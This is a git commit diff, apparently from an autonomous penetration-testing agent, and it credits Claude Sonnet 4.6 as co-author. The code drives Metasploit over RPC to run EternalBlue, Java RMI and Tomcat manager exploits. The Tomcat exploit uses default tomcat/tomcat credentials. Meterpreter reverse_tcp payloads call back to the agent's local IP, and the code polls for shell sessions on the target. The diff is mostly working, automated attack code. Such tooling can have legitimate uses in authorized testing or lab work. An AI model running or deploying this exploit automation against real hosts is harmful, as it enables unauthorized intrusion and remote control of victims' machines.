fix: configure payload object separately for LHOST in pymetasploit3

Replace subprocess msfconsole (_run_msf_via_console) with pure RPC calls
using a separate payload module object so LHOST/LPORT are visible to the
same msfrpcd instance that tracks sessions.list.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

Author: Kim-San04

agent/action_executor.py

@@ -159,52 +159,63 @@ def _handle_new_session(self, sid: str, sinfo: dict, via_module: str):
             source="msf_executor",
         ))
 
-    # Modules that require LHOST and use msfconsole subprocess
-    _CONSOLE_MODULES = {
-        "exploit/multi/http/tomcat_mgr_deploy": (
-            "java/meterpreter/reverse_tcp", 4444,
-            "set HttpUsername tomcat; set HttpPassword tomcat; "
-        ),
-        "exploit/multi/misc/java_rmi_server": (
-            "java/meterpreter/reverse_tcp", 4446, ""
-        ),
-        "exploit/windows/smb/ms17_010_eternalblue": (
-            "windows/x64/meterpreter/reverse_tcp", 4445, ""
-        ),
+    # Modules that require LHOST — configured via RPC payload object
+    _LHOST_MODULES = {
+        "exploit/multi/http/tomcat_mgr_deploy": {
+            "payload": "java/meterpreter/reverse_tcp",
+            "lport": 4444,
+            "extra": {"HttpUsername": "tomcat", "HttpPassword": "tomcat"},
+        },
+        "exploit/multi/misc/java_rmi_server": {
+            "payload": "java/meterpreter/reverse_tcp",
+            "lport": 4446,
+            "extra": {},
+        },
+        "exploit/windows/smb/ms17_010_eternalblue": {
+            "payload": "windows/x64/meterpreter/reverse_tcp",
+            "lport": 4445,
+            "extra": {},
+        },
     }
 
-    def _run_msf_via_console(self, module: str, target: str, port: str,
-                              payload: str, lhost: str, lport: int,
-                              extra_opts: str = "") -> str:
-        """Launch msfconsole non-interactively — used when LHOST must be set."""
-        cmd = (
-            f"use {module}; "
-            f"set RHOSTS {target}; "
-            f"set RPORT {port}; "
-            f"set PAYLOAD {payload}; "
-            f"set LHOST {lhost}; "
-            f"set LPORT {lport}; "
-            f"{extra_opts}"
-            f"set ExitOnSession false; "
-            f"run -z -j; "
-            f"sleep 15; "
-            f"sessions"
-        )
-        print(f"[AGENT] msfconsole: {module} → {target}:{port} LHOST={lhost}:{lport}")
+    def _execute_msf_module(self, module_name: str, target_ip: str, port: str,
+                             payload_name: str, lhost: str, lport: int) -> str:
         try:
-            result = subprocess.run(
-                ["msfconsole", "-q", "-x", cmd],
-                capture_output=True, text=True, timeout=60,
-            )
-            output = result.stdout + result.stderr
-            print(f"[DEBUG] msfconsole output : {output[-500:]}")
-            return output
-        except FileNotFoundError:
-            logger.warning("msfconsole not found in PATH")
-            return ""
-        except subprocess.TimeoutExpired:
-            logger.warning("msfconsole timed out after 60s")
-            return ""
+            module_path = module_name.split("/", 1)[1]  # strip "exploit/"
+            exploit = self.msf_client.modules.use("exploit", module_path)
+            exploit["RHOSTS"] = target_ip
+            exploit["RPORT"] = str(port)
+
+            cfg = self._LHOST_MODULES.get(module_name, {})
+            for k, v in cfg.get("extra", {}).items():
+                exploit[k] = v
+
+            payload = self.msf_client.modules.use("payload", payload_name)
+            payload["LHOST"] = lhost
+            payload["LPORT"] = str(lport)
+
+            print(f"[DEBUG] Payload options : {payload.options}")
+            result = exploit.execute(payload=payload)
+            print(f"[DEBUG] execute() : {result}")
+
+            for _ in range(30):
+                time.sleep(1)
+                sessions = self.msf_client.sessions.list
+                if sessions:
+                    for sid, sinfo in sessions.items():
+                        sid_str = str(sid)
+                        if sid_str not in self.state.sessions:
+                            self.state.sessions[sid_str] = sinfo
+                            self._handle_new_session(sid_str, sinfo, module_name)
+                    return "success"
+
+            return "completed"
+
+        except Exception as exc:
+            print(f"[DEBUG] Exception : {exc}")
+            import traceback
+            traceback.print_exc()
+            return "error"
 
     def _execute_exploit(self, decision: Dict):
         host = decision.get("target_host", self.state.target)
@@ -220,16 +231,17 @@ def _execute_exploit(self, decision: Dict):
 
         if tool == "metasploit" and self.msf_client:
             try:
-                console_cfg = self._CONSOLE_MODULES.get(module)
-                if console_cfg:
-                    # Modules requiring LHOST → subprocess msfconsole
-                    payload, lport, extra = console_cfg
+                lhost_cfg = self._LHOST_MODULES.get(module)
+                if lhost_cfg:
+                    # Modules requiring LHOST → RPC API with separate payload object
                     lhost = self._get_local_ip()
-                    self._run_msf_via_console(module, host, port, payload, lhost, lport, extra)
-                    # Mark success optimistically and check sessions via RPC
-                    result = {"status": "success", "output": "msfconsole launched"}
+                    status = self._execute_msf_module(
+                        module, host, port,
+                        lhost_cfg["payload"], lhost, lhost_cfg["lport"],
+                    )
+                    result = {"status": status, "output": f"RPC execute: {module}"}
                 else:
-                    # All other modules → Phase 3 MetasploitEngine via RPC
+                    # vsftpd and other bind-shell modules → Phase 3 MetasploitEngine via RPC
                     from exploitation.metasploit_engine import MetasploitEngine
                     eng = MetasploitEngine()
                     eng._client = self.msf_client
@@ -245,17 +257,19 @@ def _execute_exploit(self, decision: Dict):
                         data={"host": host, "port": port, "module": module},
                         source="executor",
                     ))
-                    # Accept ALL session types (shell + meterpreter)
-                    time.sleep(5)
-                    sessions = self.msf_client.sessions.list or {}
-                    print(f"[DEBUG] Toutes sessions : {sessions}")
-                    for sid, sinfo in sessions.items():
-                        stype = sinfo.get("type", "")
-                        print(f"[DEBUG] Session {sid} type={stype} info={sinfo.get('info','')}")
-                        sid_str = str(sid)
-                        if sid_str not in self.state.sessions:
-                            self.state.sessions[sid_str] = sinfo
-                            self._handle_new_session(sid_str, sinfo, module)
+                    if lhost_cfg is None:
+                        # LHOST modules handle session detection internally;
+                        # only check here for Phase 3 bind-shell modules
+                        time.sleep(5)
+                        sessions = self.msf_client.sessions.list or {}
+                        print(f"[DEBUG] Toutes sessions : {sessions}")
+                        for sid, sinfo in sessions.items():
+                            stype = sinfo.get("type", "")
+                            print(f"[DEBUG] Session {sid} type={stype} info={sinfo.get('info','')}")
+                            sid_str = str(sid)
+                            if sid_str not in self.state.sessions:
+                                self.state.sessions[sid_str] = sinfo
+                                self._handle_new_session(sid_str, sinfo, module)
             except Exception as exc:
                 logger.warning(f"Exploit error [{module}]: {exc}")